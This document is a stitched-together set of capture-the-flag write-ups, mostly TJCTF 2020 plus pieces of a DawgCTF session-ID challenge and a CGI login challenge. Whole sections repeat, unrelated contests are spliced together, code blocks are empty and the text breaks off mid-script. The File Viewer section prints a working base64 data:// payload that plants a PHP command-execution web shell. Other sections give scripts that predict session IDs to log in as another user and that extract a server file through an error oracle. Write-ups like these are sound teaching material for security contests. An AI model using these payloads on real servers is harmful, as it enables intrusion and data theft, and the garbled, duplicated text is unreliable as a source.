There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
[https://github.com/jkthecjer/exploit-techniques/tree/master/writeups/technique-useafterfree](https://github.com/jkthecjer/exploit-techniques/tree/master/writeups/technique-useafterfree) <-- my walkthrough of solving this problem. |
# Well Timed Authentication
Upon connecting to the server, we are given a login page:
``` __(___()'`;/, /`\\"--\\
Welcome! Please login!(L)ogin normally or use (S)ession id? (L/S):```
While reading the [source code](auth.c), I found out that there are 3 users.
```cconst char* users[3] = {"TrueGrit", "root", "guest"};#define users_len (sizeof (users) / sizeof (const char *))#define TRUEGRIT 0#define ROOT 1#define GUEST 2long sessionID[users_len];```You aren't able to get the flag as guest, because you don't have sufficient permissions.``` __(___()'`;/, /`\\"--\\
Welcome! Please login!(L)ogin normally or use (S)ession id? (L/S): Llogin as: guestguest@umbc$ cat flag.txtUnknown command.Available commands: ls, whoami, sid, dog, flag, timeguest@umbc$ flagcat: flag.txt: Permission deniedguest@umbc$```We'll have to figure out how to login as root.
We have two different options to login with, session ID and password.
Looking at the password authentication function, it seems like we hit a dead end:
```cFILE *fp = fopen("/dev/random", "r");if(fp == NULL){ return -1;}char* line = NULL;size_t len = 64;getline(&line, &len, fp);if(line == NULL){ return -1;}```
There's not a good chance that we are going to be able to predict the behavior of `/dev/random`, so let's move on.
In `sessionauth()`, it compares your input to the session IDs they have:
```clong sessionauth(){ char session[20]; printf("Enter session ID: "); // Prompt session ID fgets(session, 20, stdin); long result = atol(session); int uid = -1; for(int i = 0; i < users_len; i++){ if(sessionID[i] == result){ uid = i; } } authwait(); return uid;
}```
It generates the session IDs using this function:
```cvoid generatesessionids(){ time_t curtime; struct tm * timeinfo; time(&curtime); srand(curtime); for(int i = 0; i < users_len; i++){ sessionID[i] = (rand() ^ rand()); }}```
Bingo! It uses the system time to generate a pseudorandom number, which can be predicted.
I copied and pasted the code into [my own script](hack.c), and printed the session IDs to the screen:
```cint main(){ setbuf(stdin, 0); printwelcomemessage(); generatesessionids(); for(int i = 0; i < users_len; i++) { printf("%s: %d\n", users[i], sessionID[i]); } return 0;
}```
Then, I made my own [bash script](evil-bash-script) to print the session ids for me, and connect me to the server right after that:
```bash#!/bin/bash./hack./auth # nc ctf.umbccd.io 5600```
All we have to do now is run that script, and copy and paste the ID we want. We can log in as anyone we like now! I'm going to log in as TrueGrit:
```$ ./evil-bash-script __ (___()'`; /, /` \\"--\\
Welcome! Please login!Current time: 1588025798TrueGrit: 63031782root: 739356463guest: 1863042855 __ (___()'`; /, /` \\"--\\
Welcome! Please login!(L)ogin normally or use (S)ession id? (L/S): SEnter session ID: 63031782Authenticating...TrueGrit@umbc$ flagDawgCTF{ps3ud0_r4nd0m_1s_n0t_tru3_r4nd0m}```
Flag: `DawgCTF{ps3ud0_r4nd0m_1s_n0t_tru3_r4nd0m}` |
# Unimportant 60 points>Forensics - Solved (100 solves)
>Written by KyleForkBomb
>It's probably at least a *bit* important? Like maybe not the least significant, but still unimportant...
[unimportant.png](unimportant.png)
[source](encode.py)
A python script and a PNG picture
Look though the script, it just put the flag in the **second bit of green channel** of the `unimportant.png`
```pypixel = (pixel[0], Red pixel[1]&~0b10|(bits[i]<<1), Green pixel[2], Blue pixel[3]) Alpha```Wrote a [python script](solve.py) to extract the flag:```pyfrom PIL import Imagefrom Crypto.Util.number import long_to_bytesimport reimg = Image.open('unimportant.png')pixels = img.load()w,h = img.sizedef findFlag(): flag = 0 for i in range(w): for j in range(h): flag |= (pixels[i,j][1] & 0b10)>>1 flag <<= 1 if re.findall("tjctf{.*}",long_to_bytes(flag)): print(long_to_bytes(flag)) returnfindFlag()```## Flag```tjctf{n0t_th3_le4st_si9n1fic4nt}``` |
# **TJCTF 2020**
TJCTF is a Capture the Flag (CTF) competition hosted by TJHSST's Computer Security Club. It is an online, jeopardy-style competition targeted at high schoolers interested in Computer Science and Cybersecurity. Participants may compete on a team of up to 5 people, and will solve problems in categories such as Binary Exploitation, Reverse Engineering, Web Exploitation, Forensics, and Cryptography in order to gain points. The eligible teams with the most points will win prizes at the end of the competition.
This is my first writeup of a CTF and the fifth or sixth CTF I participated in,if you have any comments, questions, or found any mistakes (which I'm sure there are a lot of)please let me know. Thanks for reading!
***
# Table of Contents* [Miscellaneous](#Miscellaneous) - [A First Step](#a-first-step) - [Discord](#discord) - [Censorship](#censorship) - [Timed](#timed) - [Truly Terrible Why](#truly-terrible-why) - [Zipped Up](#zipped-up)* [Cryptography](#cryptography) - [Circles](#circles) - [Speedrunner](#speedrunner) - [Tap Dancing](#tap-dancing) - [Typewriter](#typewriter) - [Titanic](#titanic)* [Reversing](#reversing) - [Forwarding](#forwarding)* [Web](#web) - [Broken Button](#broken-button) - [File Viewer](#file-viewer)* [Forensics](#Forensics) - [Ling Ling](#ling-ling) - [Rap God](#rap-god)
***# Miscellaneous
## A First StepEvery journey has to start somewhere -- this one starts here (probably).The first flag is tjctf{so0p3r_d0oper_5ecr3t}. Submit it to get your first points!
**tjctf{so0p3r_d0oper_5ecr3t}**
Flag is in the challenge's description
## DiscordStrife, conflict, friction, hostility, disagreement. Come chat with us! We'll be sending out announcements and other important information, and maybe even a flag!
**tjctf{we_love_wumpus}**
Flag is pinned in the Discord server announcements channel
## CensorshipMy friend has some top-secret government intel. He left a message, but the government censored him! They didn't want the information to be leaked, but can you find out what he was trying to say?
` nc p1.tjctf.org 8003 `
**tjctf{TH3_1llum1n4ti_I5_R3aL}**
This challenge I solved by mistake (there are no mistakes just happy accidents) but the solution issomewhat straightforward, when we connect to the server we are greeted with the following meessege:

When we submit the answer we get following meessege:

Which is not the flag (trust me i checked), when we sumbit a wrong answer we get nothing,my first thought was that the flag returned is random and there is a chance that the real flag will be returned,so I wrote a short python script which connects to the server, reads the question and answers it:
```python 3from pwn import remoteimport re
host = "p1.tjctf.org"port = 8003s = remote(host, port)question = s.recvuntil('\n')numbers = re.findall('[0-9]+',str(question))sum = sum([int(a) for a in numbers])s.send('{}\n'.format(sum))print(s.recv())s.close()```
And during debugging I noticed something strange is happening with the output:

As you can see the server is actually returing us the flag each time we answer correctly.But, We can't see it when the output is printed in the terminal,The reason is that '\r' symbol after the flag, The symbol stands for carriage return,And in most terminal nowdays it deletes the written message and returns the cursor to the start of line,Using this symbol can actually make cool looking animation and most of the animationwe see in terminals nowdays use this symbol.
## TimedI found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.
` nc p1.tjctf.org 8005`
**tjctf{iTs_T1m3_f0r_a_flaggg}**
When we connect to the server we get the following message:

I tried using Unix commands first and quickly discovered by the error messagesthat the commands need to be python commands, furthermore, we can't see the outputof the executed commands but only the time it took for the commands to executeor an error message if an error occurred while executing the commands.I tried using python commands and modules to get a shell or get a reverse shell goingfrom the server to my host.for each command I tried I got the following message:

At this point I gave up on getting a shell and tried to see what I cando in this limited enviroment, I wanted to determine first if the commands areexecuted in python 2 or python 3, for that I checked if python recognizedbasestring, an abstract type which can't be found in python 3 and will raise anexception:


Executing basestring in the server didn't return an error message so I determinedthat the environment is python 2, and so I tried to check if I can read afile named flag.txt using python 2 I/O functions:

We can read flag.txt!, now we need to discover the flag using our onlytwo availiable outputs - the time to execute a command or an error message ifsuch error produces.We can do this by going letter by letter and executing a command that comparesthe selected letter with a letter in the flag such that if the letters match the outputwill be different so we can easily point out the matching letters and build the flag.There are two ways to do this, The first one is to use commands suchthat if the letter matches the execution time will be longer and by doingso the total runtime returned will be grater, This type of attack is calledTiming Attack and an exemple of this is linked in the resources.The second one and the one that I used is to raise an exception if the letter match inthe position such that we can the discovery of the letter is not time bound.for doing that I wrote the following code in python 3 using the pwntools module:
```python 3from pwn import remoteimport string
host = "p1.tjctf.org"port = 8005s = remote(host, port)flag = ""index = 0changed = Trues.recvuntil('!\n')while changed: changed = False for c in '_{}' + string.printable: print("testing {}".format(flag + c)) command = '''1/0 if open('flag.txt','r').read({})[{}] == ''{}' else 0\n'''.format(index + 1, index, c) print(command) s.send(command) answer = s.recvuntil("!\n") if b'Traceback' in answer: flag += c changed = True index += 1 break
```
As you can see, the code connects to the server and builds the flag by iteratingover all the printable characters and checking if the command executed raises anerror or not, the command simply checks if the character in a specific positionmatches the current tested character and if so it calculates 1/0 which in pythonthrow an exception (believe it or not there are langauges and modules where 1/0 returns infinity)else the command does nothing, if an error was raised then the letter is added to the flagand the code moves to iterate over the next character in the flie, if we finished iterating over allthe characters and none of them raised a flag we can conclude that we discovered all theflag, and we can see that the code does just that:

Side note: when writing the writeup I thought about another very easy way to get theflag, We know that we can see errors happening in the execution of commends sowe can just raise an error with the flag !, For that you need you need to use the errortype NameError to raise an error with a string but it is still a much easier and very coolway to get the flag, you can see it in action in the following picture:

**Resources:*** Pwntools : http://docs.pwntools.com* All-Army Cyberstakes! Dumping SQLite Database w/ Timing Attack : https://youtu.be/fZ3mPRctbO0
## Truly Terrible WhyYour friend gave you a remote shell to his computer and challenged you to get in, but something seems a little off... The terminal you have seems almost like it isn't responding to any of the commands you put in! Figure out how to fix the problem and get into his account to find the flag! Note: networking has been disabled on the remote shell that you have. Also, if the problem immediately kicks you off after typing in one command, it is broken. Please let the organizers know if that happens.hint : Think about program I/O on linux
`nc 52.205.246.189 9000`
**tjctf{ptys_sure_are_neat}**
This challenge was very fair in my opinion but it was easy to overcomplicate it(as I admittedly did in the beginning).When you connect to the server you are greeted with the following message:

And for every input we give no output is returned.First I tried doing blind enumaration of the files in the server using similar methods as I used in Timedbut the only true way I found to do that was to disconnect from the server using exitevery time a character match... which quickly led to me being banned from the server andso I stopped and moved to other challenges.In the meantime the challenge was patched and using the exit command no longer worked,And the hint was published.As the hint suggested there is something off about the I/O of the shellsuch that we can't see the output.But, We know that we are connected to the standard input of the shell beacuse we can execute commands.So I tried using output redirection so that the output of the commands will be redirctedto the standard input (file descriptor 0) et voila:

We got a working shell!, From thereon I tried getting an interactive shell using the common methods(listed in resources) and spawned a new shell with the output redirected to standard input:

Now we can now use the shell as (almost) a regular shell, so we can use the arrow keys anduse the sudo command, We can also see now that we are connected as problem-user.Let's see what is written in the text files:

From the message we can assume that we need to connect to other-user, And because we are givenproblem-user password we will probably need to use it for that.The first Thing I do in this situations is to check the user sodu privillages using sudo -l command:

So we run /usr/bin/chguser as root:

And as you can see by doing we connect to other-user and we are dropped at his home folder,And we got our flag.
**Resources:*** Getting fully interactive shell : https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/* Linux Redirection : https://www.guru99.com/linux-redirection.html
## Zipped UpMy friend changed the password of his Minecraft account that I was using so that I would stop being so addicted. Now he wants me to work for the password and sent me this zip file. I tried unzipping the folder, but it just led to another zipped file. Can you find me the password so I can play Minecraft again?
[link](https://static.tjctf.org/663d7cda5bde67bd38a8de1f07fb9fab9dd8dd0b75607bb459c899acb0ace980_0.zip)
**tjctf{p3sky_z1p_f1L35}**
This type of challange is pretty common in CTFs and most of the times it can be summedup to tweaking the code so that it will work with the current challenge,As you can see each compressed file contains a txt and another compressed file in a directory,If you look further you can see that there is a false flag tjctf{n0t_th3_fl4g}in some txt files (actually in all of them but one afaik).So, I wrote (mostly tweaked) a short bash scipt to not only find compressed files in the working directory and unzip them,But also check the content of the txt file and if it's not the false flag print it and stop the execution:
```bash#!/bin/bashget_flag() { for filename in $(pwd)/*; do echo "$filename" if [[ $(mimetype -b "$filename") == "application/zip" ]] then unzip "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-bzip-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "application/x-compressed-tar" ]] then tar -xf "$filename" find_dir return elif [[ $(mimetype -b "$filename") == "text/plain" ]] then if [[ $(cat "$filename") != "tjctf{n0t_th3_fl4g}" ]] then cat "$filename" return fi fi done}
find_dir(){ for filename in $(pwd)/*; do if [[ -d "$filename" ]] then cd "$filename" get_flag return fi done}echo startget_flag```
And after 829 (!) files unzipped we find the first (and afaik the only) text file that contains the flag.
***# Cryptography
## Circles
**tjctf{B3auT1ful_f0Nt}**
Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.
hint : To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.

**tjctf{B3auT1ful_f0Nt}**
This challenge was really guessy and quite frustrating, As the hint suggested if we search for the challenge descriptionwe find the site fonts.com and by searching the word circular in it (yeah I know) we find our typeface:

Now that we know the name of the typeface lets find its characters map,By seaching just that I found the typeface character map (linked below) and decoded the flag.
**Resources:*** USF Circular Designs : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/packages* Character map : https://www.fonts.com/font/ultimate-symbol/usf-circular-designs/regular
## SpeedrunnerI want to make it into the hall of fame -- a top runner in "The History of American Dad Speedrunning". But to do that, I'll need to be faster. I found some weird parts in the American Dad source code. I think it might help me become the best.
[link](https://static.tjctf.org/6e61ec43e56cff1441f4cef46594bf75869a2c66cb47e86699e36577fbc746ff_encoded.txt)
**tjctf{new_tech_new_tech_go_fast_go_fast}**
In the link we get the following ciphertext:
LJW HXD YUNJBN WXC DBN CQN CNAV "FXAUM ANLXAM'? RC'B ENAH VRBUNJMRWP JWM JBBDVNB CQJC CQN ERMNX YXBCNM RB CQN OJBCNBC CRVN, FQNAN RW OJLC BXVNXWN NUBN LXDUM QJEN J OJBCNA, DWANLXAMNM ENABRXW. LXDUM HXD YUNJBN DBN CQN CNAV KTCFENJJJEKVXOBAL (KNBC TWXFW CRVN FRCQ ERMNX NERMNWLN JB JYYAXENM JWM ENARORNM KH VNVKNAB XO CQN BYNNM ADWWRWP LXVVDWRCH) RW CQN ODCDAN. CQRB FXDUM QNUY UXFNA LXWODBRXW RW CQNBN CHYNB XO ERMNXB RW ANPJAM CX CQN NENA DYMJCRWP JWM NEXUERWP WJCDAN XO CQN BYNNMADWWRWP LXVVDWRCH.
CSLCO{WNF_CNLQ_WNF_CNLQ_PX_OJBC_PX_OJBC}
We can notice that the format of the last line somewhat matches the format for the flag so we canassume the cipher is letter substitution, a type of cipher where each letter inthe plaintext is subtituted with another letter, I copied the text to CyberTextand tried to use shift ciphers to decrpyt the message, Shift cipher are a typeof cipher in which every letter is shifted by a known offset to a different letter,ROT13 and Ceaser Cipher are some famous exemple of this type of cipher where theoffsets are 13 and 3 respectably, with an offset of 17 we get the following message:
CAN YOU PLEASE NOT USE THE TERM "WORLD RECORD'? IT'S VERY MISLEADING AND ASSUMES THAT THE VIDEO POSTED IS THE FASTEST TIME, WHERE IN FACT SOMEONE ELSE COULD HAVE A FASTER, UNRECORDED VERSION. COULD YOU PLEASE USE THE TERM BKTWVEAAAVBMOFSRC (BEST KNOWN TIME WITH VIDEO EVIDENCE AS APPROVED AND VERIFIED BY MEMBERS OF THE SPEED RUNNING COMMUNITY) IN THE FUTURE. THIS WOULD HELP LOWER CONFUSION IN THESE TYPES OF VIDEOS IN REGARD TO THE EVER UPDATING AND EVOLVING NATURE OF THE SPEEDRUNNING COMMUNITY.
TJCTF{NEW_TECH_NEW_TECH_GO_FAST_GO_FAST}
**Resources:*** CyberChef : https://gchq.github.io/CyberChef/* Ceaser Cipher : https://en.wikipedia.org/wiki/Caesar_cipher* Substitution Cipher : https://en.wikipedia.org/wiki/Substitution_cipher
## Tap DancingMy friend is trying to teach me to dance, but I am not rhythmically coordinated! They sent me a list of dance moves but they're all numbers! Can you help me figure out what they mean so I can learn the dance?
[link](https://static.tjctf.org/518d6851c71c5482dbd5bbe812b678684238c8f4e9e9b3d95a188f7db83a0870_cipher.txt)
**tjctf{m0rsen0tb4se3}**
In the link we get the following cipher:
1101111102120222020120111110101222022221022202022211
As you can see there are three symbol in this cipher and suspiciously one of them is sparse,So I assumed that this is morse (and honestly it will be weird if there isn't even one morse challenge in a CTF)I assumed that zeros symbolize spaces and the twos and ones are . and - respectably, I got the following morse code:
-- ----- .-. ... . -. ----- - -... ....- ... . ...--
I plugged the morse code into CyberChef and got the flag.
**Resources*** Morse Code (do i really need to add that!?) : https://en.wikipedia.org/wiki/Morse_code
## TypewriterOh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is zpezy{ktr_gkqfut_hxkhst_tyukokkgotyt_hoftqhhst_ykxoz_qxilrtxiyf}.
hint:a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?
**tjctf{red_orange_purple_efgrirroiefe_pineapple_fruit_auhsdeuhfn}**
As the hint suggested this is a qwerty monoalphabetic cipher,Meaning that every letter is subtituted with the corresponding in the keyboard with the same position(from up to down and from left to right).For decrpyting that cipher I used an awesome site called dcode.fr and by using their monoalphabetic decoderwith the key: QWERTYUIOPASDFGHJKLZXCVBNM I got the flag.
**Resources:*** decode.fr : https://www.dcode.fr/en* qwerty : https://en.wikipedia.org/wiki/QWERTY
## TitanicI wrapped tjctf{} around the lowercase version of a word said in the 1997 film "Titanic" and created an MD5 hash of it: 9326ea0931baf5786cde7f280f965ebb.
**tjctf{marlborough's}**
this challenge is very straightforward but steggered me for a long time because I couldn't find the right word,We know that our flag is said in the movie so sensibly we need to look for the script, I found one of them onlineand used a tool named CeWL to make the script a wordlist, After that I wrote a shrt python script that read every word,make it lowercase and wraps it with the flag format, and then I ran Hashcat on it.BUT it didn't work...After that I tried doing the same on several other scripts and none of them worked.Now what's worked for me in the end was to use subtitles and not the original script in the hope that some of the wordswere different, for that I used the subtitles listed below, the file looks like that:

There was a lot of work to do obviously so I wrote a script that removes the unnecessary characters,saparetes the words, and wraps them in the flag format, now that we finally have the wordlist (added below)we can use hashcat, a program which breaks hashes using dictionary attack, we run hashcat using the following commands:hashcat -a 0 -m 0 hash.txt wordlist.txtand get the following output:

**Resources:*** subtitle Titanic.1997.1080p.720p.BluRay.x264.[YTS.AG] : https://yts-subs.com/subtitles/titanic19971080p720pblurayx264ytsag-english-100199* wordlist : [link](assets//wordlists//titanic_wordlist.txt)* CeWL : https://tools.kali.org/password-attacks/cewl* hashcat : https://tools.kali.org/password-attacks/hashcat
***# Reversing
## ForwardingIt can't be that hard... right?
[link](https://static.tjctf.org/d9c4527bc1d5c58c1192f00f2e2ff68f84c345fd2522aeee63a0916897197a7a_forwarding)
**tjctf{just_g3tt1n9_st4rt3d}**
This time we get a file with the challenge, if we check the type of the filewe can see that it is an ELF, a type of Unix executable:

I checked if the flag is saved in string format in the file, for that Wecan use the strings command which finds strings in the executable, And then usegrep and regex to filter the strings in the binary for the flagI used the following command:
strings forwarding | grep 'tjctf{.*}'
and got the following output:

**Resources:*** ELF file : https://en.wikipedia.org/wiki/Executable_and_Linkable_Form* Regex : https://en.wikipedia.org/wiki/Regular_expression
***
# Web
## Broken ButtonThis site is telling me all I need to do is click a button to find the flag! Is it really that easy?
[link](https://broken_button.tjctf.org/)
**tjctf{wHa1_A_Gr8_1nsp3ct0r!}**
when we go to the site we get this massage:

If we Inspect the site (Ctrl+Shift+I) we see that there is a hidden button inthe HTML code:

And when we look at the HTML file that is referenced by the by the hiddenbutton we get our flag.
## File ViewerSo I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
Hint : The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
[link](http://file_viewer.tjctf.org/)
**tjctf{n1c3_j0b_with_lf1_2_rc3}**
Here is another challenge I spent a lot of time (and tears) on mostly because I was stubborn and didn't tryto use the resources I have.when we go to the site we get the following message:

When we pick a random file from the list, I chose pinnapples.txt we get:

Now take a look at the address for the file, as we can see, there is a PHP file which takes as an argument a file variablewhich is in our case sets to pinnapples.txt, lets try to see if we can see other files in the server,I guessed this is a linux server (which most servers are) and tried to change the variable to /etc/passwda file which is by default accessible to all users and services on the server:

Jackpot! we have local file inclusion vulnerability on the machine, which means that we can read any file on this system.At this point I will spare you all the troubles I went through to find what to do next and skip to the solution,we can use PayloadAllTheThing, A great github repository linked below for finding web payloads, and search for a payloadwhich works for us, I eventually used the data:// wrapper which posts data to the server side and injects our PHP code,I used the following payload which let us run commands in the server:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=**your command**
the payloads injects the following code to the server in base64 format:
```php
```
Which executes in the systems the value of the cmd variable and echoes 'Shell done'.by using the ls command we get the following:

We see we have a strange directory our current directory when use ls in the folder we get:

We found our flag, now for us to read the flag we need to encode the file to base64.The reason is that if we read a PHP file without encoding it the file will be executedbeacuse the web browser reads the content of the file as code and not text, I used the following payload for that:PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat i_wonder_whats_in_here/* | base64which roughly translates to:
```php
```
And lo and behold we got our base64 encoded flag! :

**Resources:*** PayloadAllTheThing : https://github.com/swisskyrepo/PayloadsAllTheThings/ * The used payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-data* File Inclusion Vulnerability : https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
***# Forensics## Ling LingWho made this meme? I made this meme! unless.....
[link](https://static.tjctf.org/d25fe79e6276ed73a0f7009294e28c035437d7c7ffe2f46285e9eb5ac94b6bec_meme.png)
**tjctf{ch0p1n_fl4gs}**
When we go to the link we get the following image:

The meaning of the image is beyond me, Lets look at the image metadata, we can do that using the exiftool command:

And as you can see our flag is listed in the artist attribute.
**Resources*** Exiftool : https://linux.die.net/man/1/exiftool* Me when I saw the meme : https://i.kym-cdn.com/entries/icons/original/000/018/489/nick-young-confused-face-300x256-nqlyaa.jpg
## Rap GodMy rapper friend Big Y sent me his latest track but something sounded a little off about it. Help me find out if he was trying to tell me something with it. Submit your answer as tjctf{message}
[link](https://static.tjctf.org/302ed01b56ae5988e8b8ad8d9bba402a2934c71508593f5dc9e95aed913d20cf_BigYAudio.mp3)
**tjctf{quicksonic}**
This was a nice audio steganography challange, When we hear the audio we can notice some weird buzzing,esecially in the left ear, So I assumed from experience that there is a channel with an hideen messege encoded in.For this challenge I used Sonic Visualiser but I think you can use most of the music processing programs out here,When we open the file in Sonic Visualiser and open the spectogram viewer we see the following:

We got an encoded image in the audio!,Now let's saparete the channels and look at channel 2:

And we got the image, There are some weird symbols in there which look like emojisbut not quite, These are actually symbols from a font called Wingdings which was developedby Microsoft and was used before emojis existed (weird times...), and gained notoriety afterthe 9/11 attacks, we can use dcode.fr again with their Wingdings font translator toget our flag:

**Resources:*** Sonic Visualiser : https://www.sonicvisualiser.org/* Wingdings : https://en.wikipedia.org/wiki/Wingdings#9/11_attacks* dcode.fr Wingdings translator : https://www.dcode.fr/wingdings-fontM |
# git the flag (misc, 96 pts, 58 solved)
This challenge is a CGI server and served its own source code using git.The code that we're supposed to hack looks like this:
```bash#!/bin/bashset -euo pipefailsource /etc/config.inino_cache(){ echo -ne "Pragma-directive: no-cache\n"; echo -ne "Cache-directive: no-cache\n"; echo -ne "Cache-control: no-cache\n"; echo -ne "Pragma: no-cache\n"; echo -ne "Expires: 0\n"; echo -ne "Content-type: text/html\n\n"}
success() { rm -f /tmp/login_session.txt cp /proc/sys/kernel/random/uuid /tmp/login_session.txt 2>&1 echo -ne "Status: 302 Moved Temporarily\n" echo -ne "Set-Cookie: session=$(cat /tmp/login_session.txt)\n" echo -ne "Location: /cgi-bin/setup.cgi\n\n" exit}
fail() { echo -ne "Content-type: text/html\n\n"
echo "<html>" echo "<head><title>Omegalink login</title>" echo "<body><center>" echo "<h1>Login unsuccessful.</h1>" echo "<h3>Reason: $1</h3>" echo "Click here to try again" echo "This incident will be reported" echo "</center></body>" echo "</html>" exit}
Click here to try again
This incident will be reported
parse_query() { saveIFS=$IFS IFS='=&' parm=($QUERY_STRING) IFS=$saveIFS
declare -gA query_params for ((i=0; i<${#parm[@]}; i+=2)) do query_params[${parm[i]}]="${parm[i+1]}" done}
check_name_and_password() { pw_hash=$(echo -n "${query_params[password]}" | md5sum | cut -d ' ' -f 1) if [[ "${query_params[name]}" != $USERNAME || "$pw_hash" != $PASSWORD_HASH ]]; then fail "Wrong username or password" fi}
